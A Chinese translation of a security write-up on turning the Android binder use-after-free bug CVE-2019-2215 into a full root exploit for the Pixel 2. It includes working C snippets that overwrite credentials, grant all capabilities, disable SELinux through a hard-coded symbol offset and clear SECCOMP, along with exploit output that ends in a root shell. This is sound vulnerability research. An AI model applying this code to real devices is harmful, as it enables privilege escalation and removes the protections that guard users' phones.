Android Binder Driver UAF 漏洞实现 Root 提权分析(CVE-2019-2215)

birdpwn 新闻 2019年10月22日发布
Favorite收藏

导语:Qu1ckR00t是一段PoC,仅在Pixel 2上进行了测试。在任何其他设备/内核上运行它可能会导致崩溃甚至数据丢失。如果提示安装,请勿安装额外的Magisk环境文件或升级Magisk,因为这会修补引导程序,从而在下次引导时破坏DM-Verity,从而在需要刷新时可能导致数据丢失。 最重要的是,Magisk不是要以这种方式安装的,无需对Magisk进行进一步的修补。 关于Qu1ckR00t并没有什么新奇的东西,但是对Android上典

0x00  漏洞描述

当Project Zero紧急发布CVE-2019-2215漏洞公告时,我决定将漏洞利用代码复制到本地设备上进行复现分析。我正好有一个存在漏洞的Pixel 2手机。我需要做的就是编译漏洞exp并通过ADB运行exp代码。我下载了最新的Android NDK并编译了PoC:

 [grant ~/Downloads/android-ndk-r20 >> ./toolchains/llvm/prebuilt/darwin-x86_64/bin/aarch64-linux-android29-clang -o poc ../poc.c
 [grant ~/Downloads/android-ndk-r20 >> adb push poc /data/local/tmp/poc
 poc: 1 file pushed. 0.8 MB/s (22528 bytes in 0.026s)

我在设备上运行PoC后,发现了提权漏洞。

1571368359072.png

PoC代码提供了完整的内核读/写原语,最终可以获取root权限。这就提出了一个问题:“root”对于现代Android系统到底意味着什么?要回答这个问题,我们必须首先了解Android如何实施其安全策略的。

Android通过分层实施方法来防御恶意应用程序。以下是主要部分:

1571368501867.png

· 任意访问控制(DAC) -UNIX权限(用户/组ID,R / W / X对象权限

· 强制访问控制(MAC) -通过SELinux / SEAndroid强制执行类型(实际上是谁可以与谁以及如何进行对话的白名单)

· Linux功能(CAP) -将功能强大的root用户分成几个权限片(CAP_XYZ)

· SECCOMP-允许过滤/阻止系统调用,有效地限制了内核的攻击面

· Android的中间件 -限定如典型Android应用权限android_manifest.xml如android.permission.INTERNET(通常由执行system_server)

为了获得完整的root shell,我们需要绕过每个执行层(Android中间件除外,因为漏洞利用针对的是binder,它不需要任何中间件检查即可访问)。在现代Android系统上,这可以防范不会出现重大内核漏洞,但是,借助可访问应用程序的内核漏洞,我们可以相对轻松地绕过或禁用这些功能。对于系统上的每个任务,Linux内核都会在task_struct结构中跟踪其状态 。此状态碰巧包括与安全性相关的详细信息,例如所有用户ID,其SELinux上下文,其具有的功能,是否启用SECCOMP等等。如果我们能够针对特定目标task_struct使用我们的R / W原语,我们将能够将这些值更改为我们想要的值。例如,如果我们针对当前进程实现特权提升(EoP)。

0x01  提权到root权限

绕过DAC和CAP

有了指向当前task_struct的指针,我们所需的就是从开始到当前进程凭证的正确偏移量。然后,我们可以读取指针值,并在随后的调用中使用它来戳我们的凭据。

credLinux中的struct具有我们希望更改的所有优点,以升级我们的当前流程。这是源于最新版本Linux内核的源代码

 struct cred {
  atomic_t usage;
 #ifdef CONFIG_DEBUG_CREDENTIALS
  atomic_t subscribers; /* number of processes subscribed */
  void  *put_addr;
  unsigned magic;
 #define CRED_MAGIC 0x43736564
 #define CRED_MAGIC_DEAD 0x44656144
 #endif
  kuid_t  uid;  /* real UID of the task */
  kgid_t  gid;  /* real GID of the task */
  kuid_t  suid;  /* saved UID of the task */
  kgid_t  sgid;  /* saved GID of the task */
  kuid_t  euid;  /* effective UID of the task */
  kgid_t  egid;  /* effective GID of the task */
  kuid_t  fsuid;  /* UID for VFS ops */
  kgid_t  fsgid;  /* GID for VFS ops */
  unsigned securebits; /* SUID-less security management */
  kernel_cap_t cap_inheritable; /* caps our children can inherit */
  kernel_cap_t cap_permitted; /* caps we're permitted */
  kernel_cap_t cap_effective; /* caps we can actually use */
  kernel_cap_t cap_bset; /* capability bounding set */
  kernel_cap_t cap_ambient; /* Ambient capability set */
 #ifdef CONFIG_KEYS
  unsigned char jit_keyring; /* default keyring to attach requested
       * keys to */
  struct key *session_keyring; /* keyring inherited over fork */
  struct key *process_keyring; /* keyring private to this process */
  struct key *thread_keyring; /* keyring private to this thread */
  struct key *request_key_auth; /* assumed request_key authority */
 #endif
 #ifdef CONFIG_SECURITY
  void  *security; /* subjective LSM security */
 #endif
  struct user_struct *user; /* real user ID subscription */
  struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
  struct group_info *group_info; /* supplementary groups for euid/fsgid */
  /* RCU deletion */
  union {
   int non_rcu;   /* Can we skip RCU deletion? */
   struct rcu_head rcu;  /* RCU deletion hook */
  };
 } __randomize_layout;

需要更改很多大小不同的字段。在随机poking正确的偏移量之前,先要dump满足要求的内存结构。

 [grant ~/Downloads/android-ndk-r20 >> adb shell /data/local/tmp/poc shell
 CHILD: Doing EPOLL_CTL_DEL.
 CHILD: Finished EPOLL_CTL_DEL.
 CHILD: Finished write to FIFO.
 writev() returns 0x2000
 PARENT: Finished calling READV
 current_ptr == 0xffffffea05065700
 CHILD: Doing EPOLL_CTL_DEL.
 CHILD: Finished EPOLL_CTL_DEL.
 writev() returns 0x2000
 PARENT: Finished calling READV
 current_ptr == 0xffffffea05065700
 recvmsg() returns 49, expected 49
 should have stable kernel R/W now 🙂
 current->mm == 0xffffffeaafefc100
 current->mm->user_ns == 0xffffff98848af2c8
 kernel base is 0xffffff9882880000
 &init_task == 0xffffff98848a57d0
 init_task.cred == 0xffffff98848b0b08
 init->cred
 00000000  04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
 00000010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
 00000020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
 00000030  ff ff ff ff 3f 00 00 00 ff ff ff ff 3f 00 00 00  |....?.......?...|
 00000040  ff ff ff ff 3f 00 00 00 00 00 00 00 00 00 00 00  |....?...........|
 00000050  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
 00000060  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
 00000070  00 00 00 00 00 00 00 00 80 d4 42 b9 ea ff ff ff  |..........B.....|
 00000080  c8 f3 8a 84 98 ff ff ff c8 f2 8a 84 98 ff ff ff  |................|
 00000090  78 0a 8b 84 98 ff ff ff 00 00 00 00 00 00 00 00  |x...............|
 current->cred == 0xffffffeab30a5b40
 Starting as uid 2000
 current->cred
 00000000  1a 00 00 00 d0 07 00 00 d0 07 00 00 d0 07 00 00  |................|
 00000010  d0 07 00 00 d0 07 00 00 d0 07 00 00 d0 07 00 00  |................|
 00000020  d0 07 00 00 2f 00 00 00 00 00 00 00 00 00 00 00  |..../...........|
 00000030  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
 00000040  c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
 00000050  00 00 00 00 00 00 00 00 c0 b6 9d f2 c3 ff ff ff  |[email protected]|
 00000060  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
 00000070  00 00 00 00 00 00 00 00 00 29 ce 69 c4 ff ff ff  |................|
 00000080  00 50 22 74 c4 ff ff ff c8 f2 aa 14 9e ff ff ff  |...1............|
 00000090  00 33 fa 9e c3 ff ff ff 00 00 00 00 00 00 00 00  |................|

查看下面的十六进制的dump数据,可以看到一些模式。我们当前的UID(以十六进制表示)为0x07d0。可以很容易地看到,在下面手动重新格式化的hexdump中,肯定有一个正确的指针指向凭证结构:

 ~~~ Dump of current->cred ~~~
 OFF | VALUE
  0  | 1a000000 // usage
  4  | d0070000 // uid
  8  | d0070000 // gid
  c  | d0070000 // suid
 10  | d0070000 // sgid
 14  | d0070000 // euid
 18  | d0070000 // egid
 1c  | d0070000 // fsuid
 20  | d0070000 // fsgid
 24  | 2f000000 // securebits
 28  | 0000000000000000 // cap inh
 30  | 0000000000000000 // cap perm
 38  | 0000000000000000 // cap eff
 40  | c000000000000000 // cap bound
 48  | 0000000000000000 // cap ambient
 50  | 0000000000000000 // jit keyring
 58  | c0b69df2c3ffffff // session keyring
 60  | 0000000000000000 // process keyring
 68  | 0000000000000000 // thread keyring
 70  | 0000000000000000 // request key auth
 78  | 0029ce69c4ffffff // cred->security
 80  | 00502274c4ffffff // user struct
 88  | c8f2aa149effffff // user namespace
 90  | 0033fa9ec3ffffff // group info

使用此映射,需要先获得root用户权限,首先将所有uid和gids设置为0。

 uid_t uid = getuid();
 unsigned long my_cred = kernel_read_ulong(current_ptr + OFFSET__task_struct__cred);
 
 printf("current->cred == 0x%lx\n", my_cred);
 
 printf("Starting as uid %u\n", uid);
 printf("Escalating...\n");
 
 // change IDs to root (there are eight)
 for (int i = 0; i < 8; i++)
   kernel_write_uint(my_cred+4 + i*4, 0);
 
 if (getuid() != 0) {
   printf("Something went wrong changing our UID to root!\n");
   exit(1);
 }
 
 printf("UIDs changed to root!\n");

开始执行shell证明获得了root权限,但是只有其中的DAC部分。

 ...
 UIDs changed to root!
 Spawning shell!
 id
 uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:shell:s0

接下来以功能为目标,将每个功能位设置为1并清除安全位

 // reset securebits
 kernel_write_uint(my_cred+0x24, 0);
 
 // change capabilities to everything (perm, effective, bounding)
 for (int i = 0; i < 3; i++)
   kernel_write_ulong(my_cred+0x30 + i*8, 0x3fffffffffUL);
 
 printf("Capabilities set to ALL\n");

现在从现有的Linux角度来看,已经完全获得了root权限,但是Android的MAC策略仍然将我们的root用户锁定为u:r:shell:s0上下文可以执行的操作。

禁用SELinux

现在该采取最严格的安全策略了:SELinux。在cred的过程的结构中,我们可以看到security类型,其偏移量为0x78:

 ...
 #ifdef CONFIG_SECURITY
  void  *security; /* subjective LSM security */
 #endif
 ...

这是struct task_security_struct由security / selinux / hooks.c中的selinux_cred_alloc_blank函数分配的指针。

该结构的定义如下:

 struct task_security_struct {
  u32 osid;  /* SID prior to last execve */
  u32 sid;  /* current SID */
  u32 exec_sid;  /* exec SID */
  u32 create_sid;  /* fscreate SID */
  u32 keycreate_sid; /* keycreate SID */
  u32 sockcreate_sid; /* fscreate SID */
 };

我们主要关心该sid,因为这决定了SELinux上下文。我们将其设置为另一个更高特权的SID,例如内核(SID = 1)或init(SID = 7)(初始SID列表)!

 unsigned long current_cred_security = kernel_read_ulong(my_cred+0x78);
 
 // change SID to kernel
 kernel_write_uint(current_cred_security + 4, 1);
 printf("[+] SID -> kernel (1)\n");

该exp会一直执行,直到我们更改SID为止,此时的ADB连接将挂起。为什么会挂起?因为仅更改已连接并与他人通信的进程的SID并不能保证正常工作。它取决于目标SID的SELinux策略。

 walleye:/ $ cat /proc/xxx/attr/current
 u:r:kernel:s0

确实做到了,但看起来像直接将自己提升shell到现在kernel是行不通的。需要采取另一种方法并完全禁用SELinux。禁用SELinux是Android内核利用的一种流行技术,可以通过内核R / W原语实现。唯一需要注意的是,需要知道与selinux_enforcing符号内核基数的偏移量。如果碰巧前面有一个正在运行的内核构建树,则可以使用pahole原始PoC源代码中提到的方法找到该符号。但是,如果我们只有一个内核二进制文件怎么办?

恢复selinux_enforcing

我将详细介绍为Pixel 24.4.177-g83bee1dc48e8内核恢复此符号所采取的步骤。对该字符串进行谷歌搜索将导致[ wahoo-kernel repo]。从这里我们可以下载Image.lz4-dtb文件,该文件恰好与我正在运行的内核匹配。下载此文件,有一个压缩的内核映像。解压缩后得到一个vmlinux文件:

 [grant ~/Downloads >> lz4 -d Image.lz4-dtb Image
 Decompressed : 34 MB  Stream followed by undecodable data at position 14571037
 Image.lz4-dtb        : decoded 36238336 bytes
 [grant ~/Downloads >> strings Image | grep "Linux version "
 Linux version 4.4.177-g83bee1dc48e8 ([email protected]) (Android (5484270 based on r353983c) clang version 9.0.3 (https://android.googlesource.com/toolchain/clang 745b335211bb9eadfa6aa6301f84715cee4b37c5) (https://android.googlesource.com/toolchain/llvm 60cf23e54e46c807513f7a36d0a7b777920b5881) (based on LLVM 9.0.3svn)) #1 SMP PREEMPT Mon Jul 22 20:12:03 UTC 2019

现在需要深入研究并恢复kallsyms表。有一个非常好的工具可以完成所有步骤:https : //github.com/nforest/droidimg。克隆并安装droidimg的依赖项,在解压缩的映像上运行它:

 [grant ~/Downloads/droidimg >> ./vmlinux.py Image
 Linux version 4.4.177-g83bee1dc48e8 ([email protected]) (Android (5484270 based on r353983c) clang version 9.0.3 (https://android.googlesource.com/toolchain/clang 745b335211bb9eadfa6aa6301f84715cee4b37c5) (https://android.googlesource.com/toolchain/llvm 60cf23e54e46c807513f7a36d0a7b777920b5881) (based on LLVM 9.0.3svn)) #1 SMP PREEMPT Mon Jul 22 20:12:03 UTC 2019
 [+]kallsyms_arch = arm64
 [!]could be offset table...
 [!]lookup_address_table error...
 [!]get kallsyms error...

查找kallsyms表时发生错误。怀疑这与KASLR有关,参阅自述文件中的一些说明。运行droidimg提供的工具来修复二进制文件以便进一步提取:

 [grant ~/Downloads/droidimg >> gcc -o fix_kaslr_arm64 fix_kaslr_arm64.c
 fix_kaslr_arm64.c:265:5: warning: always_inline function might not be inlinable [-Wattributes]
  int main(int argc, char **argv)
 
 [grant ~/Downloads/droidimg >> ./fix_kaslr_arm64 Image Image_kaslr
 Original kernel: image_dec, output file: image_dec_kaslr
 kern_buf @ 0x7f4105ea2000, mmap_size = 36241408
 rela_start = 0xffffff80098d66d0
 p->info = 0x0
 rela_end = 0xffffff800a0810d8
 335004 entries processed

最后可以获取符号表:

 [grant ~/Downloads/droidimg >> ./vmlinux.py Image_kaslr
 Linux version 4.4.177-g83bee1dc48e8 ...
 [+]kallsyms_arch = arm64
 [+]numsyms: 131603
 [+]kallsyms_address_table = 0x11acc00
 [+]kallsyms_num = 131603 (131603)
 [+]kallsyms_name_table = 0x12ade00
 [+]kallsyms_type_table = 0x0
 [+]kallsyms_marker_table = 0x1469900
 [+]kallsyms_token_table = 0x146aa00
 [+]kallsyms_token_index_table = 0x146ae00
 [+]kallsyms_start_address = 0xffffff8008080000L
 [+]found 9915 symbols in ksymtab
 ffffff8008080000 t _head
 ffffff8008080000 T _text
 ...

扫描输出符号,selinux_enforcing找不到!阅读droidimg的源代码表明,它具有一种特殊的模式,该模式使用Miasm恢复未导出的符号,即selinux_enforcing。在Miasm支持下重新运行会出现以下符号:ffffff800a44e4a8 B selinux_enforcing。减去ffffff8008080000 t _head后得出的偏移量为0x23ce4a8。

最后,可以在漏洞利用中禁用SELinux:

 #define SYMBOL__selinux_enforcing 0x23ce4a8
 
 unsigned int enforcing = kernel_read_uint(kernel_base + SYMBOL__selinux_enforcing);
 
 printf("SELinux status = %u\n", enforcing);
 
 if (enforcing) {
   printf("Setting SELinux to permissive\n");
   kernel_write_uint(kernel_base + SYMBOL__selinux_enforcing, 0);
 } else {
   printf("SELinux is already in permissive mode\n");
 }

禁用SECCOMP

运行漏洞利用程序不受任何SECCOMP策略的影响。例如,我用来为Magisk创建tmpfs的mount命令/sbin不再挂载。SECCOMP正在执行,并限制了应用程序及其子级能够访问任何旧的syscall。

像我们任务的DAC,CAP和MAC状态一样,SECCOMP也作为seccomp内联结构存在于task_struct中:

 struct seccomp {
  int mode;
  struct seccomp_filter *filter;
 };

mode可以是0(禁止),SECCOMP_MODE_STRICT或SECCOMP_MODE_FILTER。SECCOMP通常在过滤器模式下使用,在该模式下,将创建一个eBPF程序以在每个系统调用上执行,并返回ALLOW或DENY,类似于防火墙规则。该过滤器由filter参数指向。禁用SECCOMP就像将其更改mode为0 一样,但这只会导致内核崩溃。

启用SECCOMP时,它还会在task_struct->thread_info.flags结构中设置TIF_SECCOMPflag,初始syscall序将使用该flag来确定是否需要进行任何过滤。在重设此flag之前重设mode会导致在__secure_computing函数的一个BUG()。要完全禁用SECCOMP,要清除此flag。为了防止SECCOMP在fork()该模式下被复制到子进程,则需要清除(过滤器也是如此)。

 #define OFFSET__task_struct__thread_info__flags 0 // if CONFIG_THREAD_INFO_IN_TASK is defined
 
 // Grant: SECCOMP isn't enabled when running the poc from ADB, only from app contexts
 if (prctl(PR_GET_SECCOMP) != 0) {
   printf("Disabling SECCOMP\n");
 
   // clear the TIF_SECCOMP flag and everything else 😛 (feel free to modify this to just clear the single flag)
   // arch/arm64/include/asm/thread_info.h:#define TIF_SECCOMP 11
   kernel_write_ulong(current_ptr + OFFSET__task_struct__thread_info__flags, 0);
   kernel_write_ulong(current_ptr + OFFSET__task_struct__cred + 0xa8, 0);
   kernel_write_ulong(current_ptr + OFFSET__task_struct__cred + 0xa0, 0); // this offset was eyeballed
 
   if (prctl(PR_GET_SECCOMP) != 0) {
     printf("Failed to disable SECCOMP!\n");
     exit(1);
   } else {
     printf("SECCOMP disabled!\n");
   }
 } else {
   printf("SECCOMP is already disabled!\n");
 }

最后,在禁用SECCOMP的情况下获得了完整的root shell:

 walleye:/ $ /data/local/tmp/poc
 usage: /data/local/tmp/poc [shell|shell_exec]
 /data/local/tmp/poc shell - spawns an interactive shell
 /data/local/tmp/poc shell_exec "command" - runs the provided command in an escalated shell
 1|walleye:/ $ /data/local/tmp/poc shell
 CHILD: Doing EPOLL_CTL_DEL.
 CHILD: Finished EPOLL_CTL_DEL.
 CHILD: Finished write to FIFO.
 writev() returns 0x2000
 PARENT: Finished calling READV
 current_ptr == 0xffffffeaa7e86580
 CHILD: Doing EPOLL_CTL_DEL.
 CHILD: Finished EPOLL_CTL_DEL.
 recvmsg() returns 49, expected 49
 should have stable kernel R/W now 🙂
 current->mm == 0xffffffeab3991040
 current->mm->user_ns == 0xffffff98848af2c8
 kernel base is 0xffffff9882880000
 current->cred == 0xffffffeaa0223540
 Starting as uid 2000
 Escalating...
 UIDs changed to root!
 Capabilities set to ALL
 SELinux status = 1
 Setting SELinux to permissive
 Re-joining the init mount namespace...
 Re-joining the init net namespace...
 SECCOMP disabled!
 Spawning shell!
 :/ # id
 uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:shell:s0
 :/ # getenforce
 Permissive

如果这种漏洞利用你也很感兴趣,并且你想学习更多或练习,那么我建议尝试一些非常好的Linux内核利用CTF题目:Brad OderbergsuckerusuStringIPCpwnable.kr(Rootkiss / syscall)

内核漏洞技术索引:

https://github.com/xairy/linux-kernel-exploitation

0x02 Qu1ckR00t

我创建了Qu1ckR00t(名称是satire)作为一键提权root的程序。

Qu1ckR00t是一段PoC,仅在Pixel 2上进行了测试。在任何其他设备/内核上运行它可能会导致崩溃甚至数据丢失。如果提示安装,请勿安装额外的Magisk环境文件或升级Magisk,因为这会修补引导程序,从而在下次引导时破坏DM-Verity,从而在需要刷新时可能导致数据丢失。

最重要的是,Magisk不是要以这种方式安装的,无需对Magisk进行进一步的修补。

关于Qu1ckR00t并没有什么新奇的东西,但是对Android上典型的iOS越狱流程有所了解是很酷的。也许将来,如果像三星这样的OEM完全取消OEM Unlock,这种提权到root的方法将重新流行。

Qu1ckr00t源代码:https : //github.com/grant-h/qu1ckr00t。

本文翻译自:https://hernan.de/blog/2019/10/15/tailoring-cve-2019-2215-to-achieve-root/如若转载,请注明原文地址: https://www.4hou.com/info/news/21060.html
点赞 0
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论